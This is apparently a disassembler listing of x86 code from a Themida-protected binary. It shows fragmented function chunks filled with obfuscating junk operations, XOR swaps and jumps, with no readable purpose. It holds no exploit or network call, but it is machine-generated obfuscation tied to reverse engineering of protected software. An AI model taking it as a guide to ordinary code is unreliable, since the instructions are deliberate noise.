--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_585FF8: ; CODE XREF: sub_585452+A2j mov [esp+0Ah+var_C+2], eax push esp push [esp+0Eh+var_10+2] pop eax add esp, 4 push 736h mov [esp+0Eh+var_10+2], ecx mov ecx, 5FF50A8Fh push edx mov edx, 51D15187h xor edx, 753A7DF2h and ecx, edx pop edx shl ecx, 7 xor ecx, 2C613A38h sub ecx, 5CE538B4h add eax, 0B31AF6h add eax, ecx sub eax, 0B31AF6h pop ecx add eax, 2 xor eax, [esp+0Ah+var_C+2] xor [esp+0Ah+var_C+2], eax xor eax, [esp+0Ah+var_C+2] mov esp, [esp+0Ah+var_C+2] shl byte ptr [esp+0Ah+var_C+2], cl pushf jmp loc_58D9CA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586056: ; CODE XREF: Themida_:00588247j pop dx push small 5B80h jmp loc_589429 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586061: ; CODE XREF: sub_585452+1D23j xor [esp+0Eh+var_10+2], ebx xor ebx, [esp+0Eh+var_10+2] mov esp, [esp+0Eh+var_10+2] movsx cx, al jmp sub_58CF6A ; --------------------------------------------------------------------------- loc_586073: ; CODE XREF: sub_585452+681Fj push 6FB7h mov [esp+12h+var_14+2], ebx jmp loc_58D541 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586080: ; CODE XREF: Themida_:0058CAE8j mov [esp], esi mov esi, 4494693Bh push ebx jmp loc_584267 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58608E: ; CODE XREF: sub_58999B-1B0Dj add esi, 5470578Bh sub edx, 75821ACAh add edx, esi jmp loc_58ACAB ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- loc_5860A1: ; CODE XREF: Themida_:00583C77j xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], ax jmp loc_5843A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5860B4: ; CODE XREF: sub_585452+2C92j sub dh, 2Fh jmp loc_584C62 ; --------------------------------------------------------------------------- loc_5860BC: ; CODE XREF: sub_585452+89B3j mov bh, dl jmp loc_5882BA ; --------------------------------------------------------------------------- loc_5860C3: ; CODE XREF: sub_585452+1AFBj mov eax, 666801DAh sub [esp+12h+var_C+2], eax pop eax push [esp+0Eh+var_10+2] pop ebp jmp loc_58ACC0 ; --------------------------------------------------------------------------- loc_5860D6: ; CODE XREF: sub_585452+4B1Dj mov [esp+0Eh+var_10+2], eax sub esp, 4 mov [esp+12h+var_14+2], esp add [esp+12h+var_14+2], 4 jmp loc_58C69B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_5860E8: ; CODE XREF: sub_58FA66-B9BAj sub eax, 4 jmp loc_58DC1B ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5860F0: ; CODE XREF: sub_585452+5D69j add edx, edi sub edx, 36A530A9h push eax mov eax, 0 add eax, edx mov [eax], cl pop eax jmp loc_587B6B ; --------------------------------------------------------------------------- loc_586108: ; CODE XREF: sub_585452+70EAj mov dx, word ptr [esp+12h+var_14+2] push ecx push esp mov ecx, [esp+1Ah+var_1C+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+1Eh+var_20+2] pop esp push edx push edi mov edi, 27AB31E4h push edi pop edx pop edi dec edx neg edx sub esp, 4 mov [esp+22h+var_24+2], eax mov eax, 0 jmp loc_58B0E1 ; --------------------------------------------------------------------------- loc_586141: ; CODE XREF: sub_585452-887j push ecx jmp sub_58F923 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586147: ; CODE XREF: Themida_:005891F0j mov ecx, 4F060D9Fh sub ecx, 4547EFE5h xor ebx, ecx pop ecx xchg edi, ebx not edi xchg edi, ebx inc ebx and ebx, 78CF455Fh jmp loc_58A9C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586167: ; CODE XREF: sub_585452+2BA4j add esp, 4 jmp loc_58B39D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586172: ; CODE XREF: Themida_:005878F9j mov ebx, edi jmp loc_589FFB ; --------------------------------------------------------------------------- loc_586179: ; CODE XREF: Themida_:00587EA7j add al, cl jmp loc_58AA5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586180: ; CODE XREF: sub_585452+7A03j mov esi, [esp-18h+arg_12+2] jmp sub_587574 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EA34 loc_586188: ; CODE XREF: sub_58EA34-3157j mov esp, [esp+8+var_8] mov [esp+8+var_8], edi mov edi, 570517DDh inc edi not edi dec edi or edi, 16A93F0Ch add edi, 410400D8h add ebx, edi mov edi, [esp+8+var_8] add esp, 4 push esi mov esi, 2 add ebx, esi pop esi push ebx push [esp+8+var_4] pop ebx pop [esp+8+var_8] mov esp, [esp+4+var_4] mov cx, word ptr [esp+4+var_4] push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+8+var_8] pop esp mov [esp+4+var_4], eax push 5F2h push esp pop [esp+0Ch+var_C] push 5F96h mov [esp+0Ch+var_C], ecx push eax mov eax, 0A9A3219h add eax, 0F565CDEBh mov ecx, eax pop eax add [esp+0Ch+var_8], 38A13B38h add [esp+0Ch+var_8], ecx sub [esp+0Ch+var_8], 38A13B38h pop ecx mov eax, [esp+8+var_8] jmp loc_58A925 ; END OF FUNCTION CHUNK FOR sub_58EA34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589972 loc_586219: ; CODE XREF: sub_589972+65D7j jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_589972 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58621E: ; CODE XREF: sub_585452-416j mov [esp+2+var_4+2], eax push ecx mov ecx, 4E0564A2h jmp loc_587EB4 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58622C proc near ; CODE XREF: sub_585452+5824j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00585414 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058983E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058B0EA SIZE 0000005D BYTES ; FUNCTION CHUNK AT 0058CA2C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058CA81 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058DF70 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058E51C SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], edi mov edi, 601915DDh jmp loc_58E51C sub_58622C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58623F: ; CODE XREF: sub_585452+9DB4j or ebx, eax pop eax or ebx, 14EC418Ch jmp loc_585B1E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_586256: ; CODE XREF: sub_58F728-437Ej mov [esp-4+arg_0], edx not [esp-4+arg_0] pop edx jmp loc_58F5C3 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- loc_586262: ; CODE XREF: Themida_:0058E263j push esi mov esi, 4 jmp loc_58CBD1 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_5896FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585019 loc_586281: ; CODE XREF: sub_585019+9774j push [esp+4+var_4] push [esp+8+var_8] pop ecx add esp, 4 jmp sub_58D7D9 ; END OF FUNCTION CHUNK FOR sub_585019 ; --------------------------------------------------------------------------- loc_586293: ; CODE XREF: Themida_:00583F30j pop ebx shl ebx, 5 shl ebx, 7 dec ebx sub ebx, 6C82FFFh mov eax, ebx mov ebx, [esp] add esp, 4 mov ebx, eax push dword ptr [esp] jmp loc_5876A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5862B6: ; CODE XREF: sub_585452+476j mov ecx, 3D33546Bh mov edx, 1CEDFF2Eh xor edx, ecx pop ecx xor eax, edx pop edx jmp loc_58E6A8 ; --------------------------------------------------------------------------- loc_5862CB: ; CODE XREF: sub_585452+42Dj pop edx jmp loc_58C148 ; --------------------------------------------------------------------------- loc_5862D1: ; CODE XREF: sub_585452-7B2j mov [esp-20h+arg_1A+2], edi jmp loc_58C9B8 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_5862D9: ; CODE XREF: sub_58FA66-6053j mov [esp-4+arg_0], eax jmp loc_58AAA1 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5862E1: ; CODE XREF: sub_585452+5875j mov ebp, esp jmp loc_58B27D ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_5862E8 proc near ; CODE XREF: sub_585452+23Fj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00588CDE SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058B8C0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058BBA4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058C5A7 SIZE 0000000A BYTES push ebp jmp loc_58C5A7 sub_5862E8 endp ; --------------------------------------------------------------------------- loc_5862EE: ; CODE XREF: Themida_:0058F2F7j add [esp+4], ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] pop ebx jmp loc_58FF1A ; --------------------------------------------------------------------------- loc_586304: ; CODE XREF: Themida_:0058C33Aj add eax, 4 jmp loc_585FE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58630E: ; CODE XREF: sub_585452+8F1j inc edi and edi, 4E11037Bh jmp loc_589B18 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_58631A: ; CODE XREF: sub_587574+11CBj sub edi, 6CA33C7Dh sub edi, 757A7679h add edi, esi add edi, 757A7679h push ebp jmp loc_587A63 ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- loc_586334: ; CODE XREF: Themida_:005852ECj and ebp, 623643DBh inc ebp push ecx mov ecx, 2060257h jmp loc_58CC50 ; --------------------------------------------------------------------------- loc_586346: ; CODE XREF: Themida_:0058B0B5j pop ebp sub ebx, 5D3C2269h add ebx, 66BC5FB7h add ebx, eax push ecx mov ecx, 7B6D3367h shl ecx, 5 add ecx, 0F915F2D7h jmp loc_589ABE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586369: ; CODE XREF: sub_585452+4BCBj sub eax, 72527A90h inc eax jmp loc_58C3D8 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_583D6F loc_586374: ; CODE XREF: sub_583D6F+9586j sub esi, 0BA7AF4A2h jmp loc_58ABBA ; END OF FUNCTION CHUNK FOR sub_583D6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58637F: ; CODE XREF: sub_585452+53D7j add bl, 68h add bl, al sub bl, 68h add bl, 0F1h push ecx jmp loc_58D3F7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586390: ; CODE XREF: Themida_:00585196j mov [esp], ecx push dword ptr [esp+4] jmp loc_589421 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58639C: ; CODE XREF: sub_585452+3F2Fj sub bl, al jmp loc_589650 ; --------------------------------------------------------------------------- loc_5863A3: ; CODE XREF: sub_585452+8ED0j push eax push [esp-20h+arg_1E+2] pop eax jmp loc_589149 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5863AE: ; CODE XREF: Themida_:0058A484j pop ecx jmp loc_58A5AF ; --------------------------------------------------------------------------- loc_5863B4: ; CODE XREF: Themida_:0058D9E1j pop dword ptr [esp] mov esp, [esp] jmp loc_5849F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5863BF: ; CODE XREF: sub_585452+3657j jmp loc_583C20 ; --------------------------------------------------------------------------- loc_5863C4: ; CODE XREF: sub_585452+70A8j add ebx, 0FFFFFFFFh shl ebx, 1 sub ebx, 6EAFE3CEh jmp loc_588C03 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5863D7: ; CODE XREF: Themida_:0058FBC0j dec ecx xor ecx, 5F41373h jmp loc_58C8E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5863E3: ; CODE XREF: sub_585452+6086j sub bl, 0D3h add bl, al push 1114h mov [esp-1Ch+arg_16+2], eax push ecx push eax mov ah, 57h mov ch, 7Bh xor ch, ah pop eax xor ch, 0Eh mov ah, ch push [esp-18h+arg_12+2] pop ecx add esp, 4 jmp loc_58A969 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BCA7 loc_58640A: ; CODE XREF: sub_58BCA7-33C2j add ebx, 0A809755Fh mov eax, ebx pop ebx mov ebp, eax mov eax, [esp+4+var_4] jmp loc_586C5C ; END OF FUNCTION CHUNK FOR sub_58BCA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58641D: ; CODE XREF: sub_585452+61Ej pop eax jmp loc_58CB14 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_586423: ; CODE XREF: sub_58AB18-1824j shr eax, 8 xor eax, ecx sub esp, 4 mov [esp+0], edx mov edx, esp push esi push edi mov edi, 694D7C64h mov esi, 69779078h sub esi, edi pop edi jmp loc_587DEC ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- loc_586444: ; CODE XREF: Themida_:0058E0ADj push dword ptr [esp] jmp loc_58CAAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E761 loc_58644C: ; CODE XREF: sub_58E761+13j pop esi add eax, ebx push [esp-4+arg_0] jmp loc_58AB20 ; END OF FUNCTION CHUNK FOR sub_58E761 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586457: ; CODE XREF: sub_585452+1DDCj pop eax jmp loc_58DE00 ; --------------------------------------------------------------------------- loc_58645D: ; CODE XREF: sub_585452+A6F9j push edx sub esp, 4 mov [esp+4Ah+var_4C+2], ecx push 0FEDh mov [esp+4Eh+var_50+2], esi mov esi, 14CA1265h and esi, 63121600h not esi not esi neg esi add esi, 10031E1Ch mov ecx, esi pop esi and ecx, 1EF157EDh shl ecx, 3 and ecx, 16E67AB4h xor ecx, 7BF442D5h mov edx, ecx pop ecx jmp loc_585443 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585350 loc_5864A6: ; CODE XREF: sub_585350+7DB8j mov bl, ch pop ecx mov eax, [esp+8+var_8] add esp, 4 mov [edi+eax*4], bl push [esp+4+var_4] pop ebx add esp, 4 jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585350 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_5864C4: ; CODE XREF: sub_58F728-3EBEj mov edx, 31803748h mov ebx, 3180374Ch sub ebx, edx jmp loc_58B622 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_5864D5: ; CODE XREF: sub_58EFBD-A16j xor eax, [esp-8+arg_4] mov esp, [esp-8+arg_4] jmp loc_588B84 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- push esi jmp loc_58ABF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5864E6: ; CODE XREF: sub_585452+37Dj pop esp push esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+36h+var_38+2] pop esp mov [esp+32h+var_34+2], esp add [esp+32h+var_34+2], 4 jmp loc_58C668 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586507: ; CODE XREF: Themida_:0058DD01j mov [esp], edx jmp loc_584513 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58650F: ; CODE XREF: sub_585452+90F7j mov bl, 4Ch jmp loc_58F968 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B758 loc_586516: ; CODE XREF: sub_58B758-B1Aj mov edx, 0 sub edx, 4CC430D8h add edx, ebx add edx, 4CC430D8h add dword ptr [edx], 1 pop edx mov ebx, [esp-4+arg_0] add esp, 4 pop ecx loc_58653A: ; CODE XREF: sub_58622C+4EDBj push 4003h mov [esp-8+arg_4], ebx xor [esp-8+arg_4], 7B9D447Fh jmp loc_58CCEB ; END OF FUNCTION CHUNK FOR sub_58B758 ; --------------------------------------------------------------------------- loc_58654E: ; CODE XREF: Themida_:0058C50Fj push 2C8Eh mov [esp], ebp mov ebp, 22677B2Ah push ebx mov ebx, 0B750BE7h and ebp, ebx mov ebx, [esp] add esp, 4 dec ebp push eax jmp loc_58E184 ; --------------------------------------------------------------------------- loc_586573: ; CODE XREF: Themida_:0058E8C4j push ecx push 5B2C62D9h mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push esi mov esi, 464E4EA1h sub esi, 704E2640h push edx mov edx, 7B022EF7h or edx, 28285624h shl edx, 2 xor edx, 50FA298Eh not edx inc edx sub edx, 0E72A26D1h sub esi, edx jmp loc_58EA5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5865BD: ; CODE XREF: sub_585452+67BFj shr [esp+32h+var_34+2], cl pushf jmp loc_58F294 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov cx, [esp] push edi mov edi, esp sub esp, 4 mov [esp], ecx jmp loc_589795 ; --------------------------------------------------------------------------- loc_5865DB: ; CODE XREF: Themida_:00583D84j push dword ptr [esp] pop eax push ebp mov ebp, esp jmp loc_587A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5865E7: ; CODE XREF: sub_585452+94j mov edx, [esp+6+var_8+2] add esp, 4 mov edx, [esp+2+var_4+2] sub esp, 4 mov [esp+6+var_8+2], ebx push esp pop ebx jmp loc_58A409 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5756 loc_586600: ; CODE XREF: sub_5B5756-31B23j mov word ptr [esp+28h+var_2A+2], cx mov ch, 0A5h jmp loc_583E3D ; END OF FUNCTION CHUNK FOR sub_5B5756 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58660B: ; CODE XREF: sub_585452+7Ej mov ebp, 56E4614h xor eax, ebp jmp loc_58928D ; --------------------------------------------------------------------------- loc_586617: ; CODE XREF: sub_585452+7139j or esi, eax mov eax, [esp+0Eh+var_10+2] add esp, 4 or esi, 3F96276Ch push eax mov eax, 793E09D0h sub eax, 9ACA18EEh xor esi, eax pop eax mov ebp, esi jmp loc_588E06 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_58663A: ; CODE XREF: sub_587574+4B07j pop ecx jmp loc_58AA7F ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A26F loc_586640: ; CODE XREF: sub_58A26F+Cj sub ebp, 22665B05h jmp loc_58AD9C ; END OF FUNCTION CHUNK FOR sub_58A26F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58664B: ; CODE XREF: sub_589967+4E9Cj pop esi xchg ebp, [esp-8+arg_4] pop esp ; END OF FUNCTION CHUNK FOR sub_589967 ; =============== S U B R O U T I N E ======================================= sub_586650 proc near ; CODE XREF: sub_58F728-6462j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005844C0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00587D14 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058A2F5 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058A9CC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058E19D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058E251 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058F6C0 SIZE 00000008 BYTES push ebx push edx push 11E74E8Dh jmp loc_5844C0 sub_586650 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58665C: ; CODE XREF: sub_58C230+9Fj add esp, 4 push esi jmp loc_587D3A ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_586668: ; CODE XREF: sub_585452+8BEEj pop ebx push ebx mov bh, dh not bh mov dh, bh pop ebx add dh, 0CFh jmp loc_584A63 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586679: ; CODE XREF: Themida_:0058876Cj push ebx push edx mov edx, 639504E0h not edx push eax mov eax, 42FD7E99h add edx, eax pop eax and edx, 689F6618h neg edx sub edx, 8C194A3Ch jmp loc_58D184 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E1AF loc_58669E: ; CODE XREF: sub_58E1AF-437Ej add esp, 4 pop [esp-4+arg_0] pop esp jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_58E1AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5866AA: ; CODE XREF: sub_585452+9087j pop ebp jmp loc_588629 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5866B0: ; CODE XREF: Themida_:0058A219j mov bl, 1Eh jmp loc_58E079 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_5866B7: ; CODE XREF: sub_589967-120Dj add ebp, 37A0770Ch pop ebx xchg ebp, [esp+0] mov esp, [esp+0] and eax, edx mov edx, [esp+0] add esp, 4 jmp loc_58EF52 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5866D4: ; CODE XREF: sub_585452+62Ej xchg esi, [esp+4Ah+var_4C+2] pop esp mov [esp+46h+var_48+2], edi jmp loc_589F2F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_5866E0: ; CODE XREF: sub_589FD5+5D9Bj add edi, eax pop eax jmp loc_588443 ; END OF FUNCTION CHUNK FOR sub_589FD5 ; --------------------------------------------------------------------------- loc_5866E8: ; CODE XREF: Themida_:00584D8Cj sub esp, 4 jmp loc_587046 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5866F3: ; CODE XREF: sub_585452+3ED5j shl ecx, 3 jmp loc_58F20B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5866FB: ; CODE XREF: Themida_:00586C9Cj mov eax, [esp] jmp loc_58672B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_586703: ; CODE XREF: sub_589FD5-28F1j add ebp, 4 xchg ebp, [esp-8+arg_4] pop esp xchg edi, [esp-0Ch+arg_8] pop esp mov [esp+0], edx push ebp push 5F794207h mov ebp, [esp-8+arg_4] add esp, 4 or ebp, 5A9876BCh jmp loc_587E3C ; END OF FUNCTION CHUNK FOR sub_589FD5 ; --------------------------------------------------------------------------- loc_58672B: ; CODE XREF: Themida_:005866FEj add esp, 4 sub dh, bl pop ebx add al, 9Eh add al, dh sub al, 9Eh pop edx push small 97Ch mov [esp], dx jmp loc_58FD45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E761 loc_586748: ; CODE XREF: sub_58E761-3228j push esp push [esp+4+var_4] mov esi, [esp+8+var_8] jmp loc_58DF87 ; END OF FUNCTION CHUNK FOR sub_58E761 ; --------------------------------------------------------------------------- loc_586754: ; CODE XREF: Themida_:0058D128j xor ebp, 14A47AC4h jmp loc_58AA06 ; --------------------------------------------------------------------------- loc_58675F: ; CODE XREF: Themida_:0058C7DCj sub dh, bl add dh, 5Fh jmp loc_58CFB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A170 loc_586769: ; CODE XREF: sub_58A170+188Cj push 4694h mov [esp+0], ecx mov cl, 0D7h inc cl and cl, 3 sub esp, 4 mov [esp+4+var_4], ebx mov bh, 0D1h jmp loc_5874AA ; END OF FUNCTION CHUNK FOR sub_58A170 ; --------------------------------------------------------------------------- loc_586785: ; CODE XREF: Themida_:0058B0DCj mov ch, 42h sub esp, 2 mov [esp], ax push ebx mov bl, 0C9h mov ah, 9Bh sub ah, bl pop ebx and ah, 0B2h jmp loc_585C2D ; --------------------------------------------------------------------------- loc_5867A1: ; CODE XREF: Themida_:0058BC25j add ecx, 35B1FDA1h add ebp, 0FA74594h sub ebp, ecx sub ebp, 0FA74594h pop ecx not ebp add ebp, 4322F7B8h sub eax, 319F6102h add eax, ebp add eax, 319F6102h push dword ptr [esp] jmp loc_58FE4D ; --------------------------------------------------------------------------- loc_5867D2: ; CODE XREF: Themida_:00589F4Ej push dword ptr [esp] pop ecx add esp, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_58A9AA ; --------------------------------------------------------------------------- loc_5867E4: ; CODE XREF: Themida_:0058743Fj mov ebx, 4C4A6CD5h mov edx, 0CE8E9463h add edx, ebx jmp loc_585381 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DA2E loc_5867F5: ; CODE XREF: sub_58DA2E-6D8Cj mov ah, 0F9h push ebx mov bh, 0A5h inc bh shr bh, 3 not bh shl bh, 5 add bh, 0A3h add ah, bh jmp loc_58B402 ; END OF FUNCTION CHUNK FOR sub_58DA2E ; --------------------------------------------------------------------------- loc_58680E: ; CODE XREF: Themida_:0058AF91j mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx push esp mov edx, [esp] push edx mov edx, esp add edx, 4 jmp loc_5845FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58682C: ; CODE XREF: sub_585452+9104j xchg eax, [esp+46h+var_48+2] jmp loc_58D19D ; --------------------------------------------------------------------------- loc_586834: ; CODE XREF: sub_585452+4D80j xor ecx, [esp+46h+var_48+2] xor [esp+46h+var_48+2], ecx xor ecx, [esp+46h+var_48+2] jmp loc_58B608 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_586842: ; CODE XREF: Themida_:0058F772j div cx push ebx push esp mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_588C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5886E0 loc_586858: ; CODE XREF: sub_5886E0+27B3j mov esi, 65C83358h inc esi or esi, 36B32421h dec esi add esi, 70A139B3h neg esi sub esi, 0FB1D5B4Eh jmp loc_589CDA ; END OF FUNCTION CHUNK FOR sub_5886E0 ; --------------------------------------------------------------------------- loc_586878: ; CODE XREF: Themida_:005877C9j pop eax add esp, 4 push edx push esp pop edx push ebp mov ebp, 4 add edx, 7366104Ah sub edx, 3F7C1BE9h add edx, ebp add edx, 3F7C1BE9h sub edx, 7366104Ah pop ebp sub esp, 4 jmp loc_58D5C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_5868AB: ; CODE XREF: sub_58EFBD-4050j push 5E6Bh mov [esp-4+arg_0], esi sub esp, 4 mov [esp+0], ecx mov ecx, 6F2C0D7Bh mov esi, ecx pop ecx jmp loc_58A382 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5868C9: ; CODE XREF: sub_585452+2E87j add edx, esi add edx, 101D74D6h jmp loc_587628 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5868D6: ; CODE XREF: Themida_:0058DC6Fj pop ecx not ebx jmp loc_58959D ; --------------------------------------------------------------------------- loc_5868DE: ; CODE XREF: Themida_:0058A131j and edi, 74374A5Eh jmp loc_58E63C ; --------------------------------------------------------------------------- loc_5868E9: ; CODE XREF: Themida_:00587224j add edx, 285C42A7h sub edx, 732214BFh push ebx mov ebx, 5BD12689h add ebx, 64F84389h shl ebx, 5 